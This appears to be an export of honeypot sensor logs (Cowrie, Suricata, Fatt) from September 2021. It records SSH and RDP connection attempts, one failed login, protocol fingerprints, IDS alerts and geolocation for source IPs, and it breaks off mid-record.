36797	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:17:14.425168+03	2021-09-20 15:30:02.753867+03	{"_id": "FAYjA3wBvYTbRNuEkGW4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1b670dfb347a", "@version": "1", "timestamp": "2021-09-20T12:17:14.425168Z", "@timestamp": "2021-09-20T12:17:14.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	IN
36798	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:17:14.424359+03	2021-09-20 15:30:02.755867+03	{"_id": "GAYjA3wBvYTbRNuEkWW2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "flow_id": 959472000900944, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57208, "dest_port": 22, "timestamp": "2021-09-20T12:17:14.424359Z", "@timestamp": "2021-09-20T12:17:14.424Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	IN
36799	216.58.206.202	109.199.241.180	Suricata	2021-09-20 15:17:16.194987+03	2021-09-20 15:30:02.757868+03	{"_id": "HgYjA3wBvYTbRNuEmWWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:16.194987+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.206.202", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.206.202", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 1375581317691819, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 43748, "timestamp": "2021-09-20T12:17:16.194987Z", "@timestamp": "2021-09-20T12:17:16.194Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36800	216.58.214.138	109.199.241.180	Suricata	2021-09-20 15:17:16.764479+03	2021-09-20 15:30:02.758868+03	{"_id": "HQYjA3wBvYTbRNuEmWWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:16.332158+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 198}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.214.138", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.214.138", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 983708501545342, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 42976, "timestamp": "2021-09-20T12:17:16.764479Z", "@timestamp": "2021-09-20T12:17:16.764Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36801	216.58.214.138	109.199.241.180	Suricata	2021-09-20 15:17:17.196358+03	2021-09-20 15:30:02.759869+03	{"_id": "JAYjA3wBvYTbRNuEnWVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:16.332158+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 264}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.214.138", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.214.138", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 983708501545342, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 42976, "timestamp": "2021-09-20T12:17:17.196358Z", "@timestamp": "2021-09-20T12:17:17.196Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36802	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:17:17.983624+03	2021-09-20 15:30:02.760868+03	{"_id": "JwYjA3wBvYTbRNuEnWVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:17.780049+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 75776037611281, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 43796, "timestamp": "2021-09-20T12:17:17.983624Z", "@timestamp": "2021-09-20T12:17:17.983Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36803	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:17:17.858255+03	2021-09-20 15:30:02.761868+03	{"_id": "KgYjA3wBvYTbRNuEnWVy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:17.780049+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 75776037611281, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 43796, "dest_port": 3389, "timestamp": "2021-09-20T12:17:17.858255Z", "@timestamp": "2021-09-20T12:17:17.858Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36804	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:17:18.061447+03	2021-09-20 15:30:02.762869+03	{"_id": "KwYjA3wBvYTbRNuEnWVy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:17.780049+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 75776037611281, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 43796, "dest_port": 3389, "timestamp": "2021-09-20T12:17:18.061447Z", "@timestamp": "2021-09-20T12:17:18.061Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36805	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:17:17.538977+03	2021-09-20 15:30:02.76487+03	{"_id": "IwYjA3wBvYTbRNuEnWVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 45103, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1637, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1804882626294133, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34652, "timestamp": "2021-09-20T12:17:17.538977Z", "@timestamp": "2021-09-20T12:17:17.538Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36806	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:17:18.061447+03	2021-09-20 15:30:02.765869+03	{"_id": "JgYjA3wBvYTbRNuEnWVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:17.780049+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 75776037611281, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 43796, "dest_port": 3389, "timestamp": "2021-09-20T12:17:18.061447Z", "@timestamp": "2021-09-20T12:17:18.061Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36807	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:22.833717+03	2021-09-20 15:30:02.766868+03	{"_id": "QgYjA3wBvYTbRNuEsmVC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53858, "timestamp": "2021-09-20T12:17:22.833717", "@timestamp": "2021-09-20T12:17:22.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36808	157.245.53.4	109.199.241.180	Fatt	2021-09-20 15:17:23.011888+03	2021-09-20 15:30:02.767868+03	{"_id": "QwYjA3wBvYTbRNuEsmVC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 53858, "dest_port": 22, "timestamp": "2021-09-20T12:17:23.011888", "@timestamp": "2021-09-20T12:17:23.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	US
36815	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:17:22.829798+03	2021-09-20 15:30:02.77787+03	{"_id": "OgYjA3wBvYTbRNuEr2X7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:53858 (192.168.176.2:22) [session: 43b3e43f8a98]", "session": "43b3e43f8a98", "@version": "1", "protocol": "ssh", "src_port": 53858, "dest_port": 22, "timestamp": "2021-09-20T12:17:22.829798Z", "@timestamp": "2021-09-20T12:17:22.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	US
36809	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:17:23.012563+03	2021-09-20 15:30:02.768868+03	{"_id": "RgYjA3wBvYTbRNuEs2Xk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "43b3e43f8a98", "@version": "1", "timestamp": "2021-09-20T12:17:23.012563Z", "@timestamp": "2021-09-20T12:17:23.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	US
36810	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:17:23.965487+03	2021-09-20 15:30:02.771868+03	{"_id": "SAYjA3wBvYTbRNuEt2XM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [service/123456] failed", "session": "43b3e43f8a98", "@version": "1", "password": "123456", "username": "service", "timestamp": "2021-09-20T12:17:23.965487Z", "@timestamp": "2021-09-20T12:17:23.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	US
36811	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:17:25.149989+03	2021-09-20 15:30:02.772868+03	{"_id": "SQYjA3wBvYTbRNuEu2W1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "43b3e43f8a98", "@version": "1", "duration": 2.3175466060638428, "timestamp": "2021-09-20T12:17:25.149989Z", "@timestamp": "2021-09-20T12:17:25.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	US
36812	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:17.587311+03	2021-09-20 15:30:02.773868+03	{"_id": "NQYjA3wBvYTbRNuEnmW5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": 